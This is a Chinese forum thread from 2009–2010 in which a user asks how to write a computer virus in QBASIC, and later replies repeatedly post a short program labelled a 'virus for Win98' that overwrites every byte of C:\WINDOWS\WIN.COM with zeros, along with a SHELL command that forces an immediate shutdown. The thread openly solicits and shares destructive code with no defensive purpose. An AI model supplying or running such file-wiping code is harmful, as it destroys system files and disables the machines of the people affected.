主题:[讨论]用QBASIC编病毒
591655850
[专家分:0] 发布于 2009-07-02 15:13:00
各位
我想请问一下,能不能用QBASIC来编计算机病毒啊.
要是可以的话应该怎么编呀.
我曾经去想了一下
就是QBASIC有一个语句是叫壳的即是"SHELL"
当程序运行到此语句时,会暂时退出到DOS环境,这样的话就可对一些系统文件进行破坏
但是就是不知怎么做,请大家指点一下了
谢谢
回复列表 (共42个回复)
31 楼
huangyb731 [专家分:630] 发布于 2010-11-24 21:44:00
[quote][quote]针对WIN98的病毒
OPEN "C:\WINDOWS\WIN.COM" FOR BINARY AS #1
FOR I=1 TO LOF(1)
PUT 1,I,0
NEXT
END
http://bbs.pfan.cn/post-65582.html有[/quote]
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32 楼
huangyb731 [专家分:630] 发布于 2010-11-24 21:46:00
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针对WIN98的病毒
OPEN "C:\WINDOWS\WIN.COM" FOR BINARY AS #1
FOR I=1 TO LOF(1)
PUT 1,I,0
NEXT
END
http://bbs.pfan.cn/post-65582.html有
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33 楼
huangyb731 [专家分:630] 发布于 2010-11-24 21:46:00
哈?
34 楼
huangyb731 [专家分:630] 发布于 2010-11-24 21:47:00
CLS
SHELL "shutdown -s -t 0"
END
什么效果?
35 楼
huangyb731 [专家分:630] 发布于 2010-11-25 16:50:00
针对WIN98的病毒
OPEN "C:\WINDOWS\WIN.COM" FOR BINARY AS #1
FOR I=1 TO LOF(1)
PUT 1,I,0
NEXT
END
http://bbs.pfan.cn/post-65582.html有
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36 楼
huangyb731 [专家分:630] 发布于 2010-11-25 16:51:00
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针对WIN98的病毒
OPEN "C:\WINDOWS\WIN.COM" FOR BINARY AS #1
FOR I=1 TO LOF(1)
PUT 1,I,0
NEXT
END
http://bbs.pfan.cn/post-65582.html有
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37 楼
huangyb731 [专家分:630] 发布于 2010-11-25 16:53:00
呵
38 楼
huangyb731 [专家分:630] 发布于 2010-11-25 17:32:00
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呵
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39 楼
huangyb731 [专家分:630] 发布于 2010-11-29 22:00:00
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40 楼
verysmartboy [专家分:1260] 发布于 2010-11-29 22:44:00
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呵
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